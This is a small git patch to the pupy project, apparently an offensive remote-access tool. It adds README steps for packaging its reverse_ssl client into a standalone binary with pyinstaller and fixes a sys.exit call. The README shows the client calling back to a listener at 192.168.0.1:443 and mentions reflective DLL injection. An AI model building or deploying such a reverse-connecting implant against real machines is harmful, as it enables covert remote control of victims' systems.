From 341fa3c373f6029261eb1d958efe9172b5a6831c Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Fri, 9 Oct 2015 18:51:25 +0200 Subject: [PATCH] small fixes for pyinstaller under linux --- README.md | 8 ++++++++ client/reverse_ssl.py | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c669288a..96f5abb3 100644 --- a/README.md +++ b/README.md @@ -47,12 +47,20 @@ you can also use -t dll_x86 or dll_x64 to generate a reflective DLL and inject/l pip install rpyc #(or manually copy it if you are not admin) python reverse_ssl.py 192.168.0.1:443 ``` +you can also build a single binary with pyinstaller : +```bash +pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py +``` #### for MAC OS X ```bash easy_install rpyc #(or manually copy it if you are not admin) python reverse_ssl.py 192.168.0.1:443 ``` +you can also build a single binary with pyinstaller (but you can't "cross-compile", pyinstaller currently only support this from osx): +```bash +pyinstaller --onefile /full_path/pupy/client/reverse_ssl.py +``` ### start the server 1. eventually edit pupy.conf to change the bind address / port diff --git a/client/reverse_ssl.py b/client/reverse_ssl.py index d90d7396..23a36df8 100644 --- a/client/reverse_ssl.py +++ b/client/reverse_ssl.py @@ -93,7 +93,7 @@ def main(): print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL" else: if len(sys.argv)!=2: - exit("usage: %s host:port"%sys.argv[0]) + sys.exit("usage: %s host:port"%sys.argv[0]) HOST=sys.argv[1] add_pseudo_pupy_module(HOST) attempt=0